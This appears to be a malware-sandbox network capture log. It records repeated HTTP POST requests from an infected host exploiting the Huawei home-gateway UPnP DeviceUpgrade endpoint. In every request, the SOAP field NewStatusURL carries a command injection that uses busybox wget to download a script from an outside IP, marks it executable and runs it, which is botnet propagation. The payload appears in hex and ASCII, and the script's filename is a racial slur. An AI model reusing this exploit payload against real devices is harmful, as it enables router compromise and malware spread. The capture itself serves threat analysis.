Feb 19, 2024 18:37:14.747354984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.301754951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.421622038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.853296041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460700035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.419384956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	39138	31.136.16.90	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:14.752329111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.333724976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.485739946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
